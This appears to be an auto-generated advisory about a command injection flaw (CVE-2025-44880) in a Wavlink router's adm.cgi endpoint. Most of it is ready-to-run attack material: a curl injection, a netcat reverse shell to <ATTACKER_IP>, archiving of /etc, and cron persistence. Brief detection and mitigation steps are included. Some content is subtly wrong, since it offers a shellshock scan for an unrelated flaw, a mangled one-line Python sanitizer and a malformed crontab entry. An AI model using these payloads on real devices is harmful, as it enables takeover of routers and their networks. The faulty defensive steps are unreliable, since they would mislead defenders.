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How CVE-2025-44880 Works
The vulnerability exists in the `/cgi-bin/adm.cgi` endpoint of Wavlink WL-WN579A3 firmware v1.0 due to insufficient input validation. Attackers can inject malicious commands via crafted HTTP requests, which are executed with root privileges. The device fails to sanitize user-supplied input passed to system shell commands, allowing arbitrary OS command execution. This occurs when unsanitized attacker-controlled data is concatenated into a `system()` call. The vulnerability is remotely exploitable without authentication, making it critical.
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Platform: Wavlink WL-WN579A3
Version: v1.0
Vulnerability: Command Injection
Severity: Critical
Date: 05/29/2025
Prediction: Patch by 07/15/2025
What Undercode Say:
Exploitation
curl -X POST "http://<TARGET_IP>/cgi-bin/adm.cgi" -d "cmd=;id"
Reverse shell payload:
curl -X POST "http://<TARGET_IP>/cgi-bin/adm.cgi" -d "cmd=;nc -e /bin/sh <ATTACKER_IP> 4444"
Detection
Check exposed `/cgi-bin/adm.cgi`:
nmap -p80,443 --script http-shellshock <TARGET_IP>
Log analysis for suspicious CGI executions:
grep -r "adm.cgi" /var/log/
Mitigation
1. Apply input validation:
import re def sanitize_input(cmd): return re.sub(r"[;&|]", "", cmd)
2. Temporary block CGI access:
iptables -A INPUT -p tcp --dport 80 -m string --string "/cgi-bin/adm.cgi" --algo bm -j DROP
Firmware Analysis
Extract firmware for patch verification:
binwalk -e firmware.bin
Check for vulnerable `system()` calls:
grep -r "system(" squashfs-root/
Post-Exploitation
Exfiltrate configuration:
curl -X POST "http://<TARGET_IP>/cgi-bin/adm.cgi" -d "cmd=;tar -czf /tmp/config.tar.gz /etc"
Persistence via cron:
echo " root nc <ATTACKER_IP> 4444 -e /bin/sh" >> /etc/crontab
Patch Verification
After update, confirm mitigation:
curl -v "http://<TARGET_IP>/cgi-bin/adm.cgi?cmd=id"
Expected response: `400 Bad Request`
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
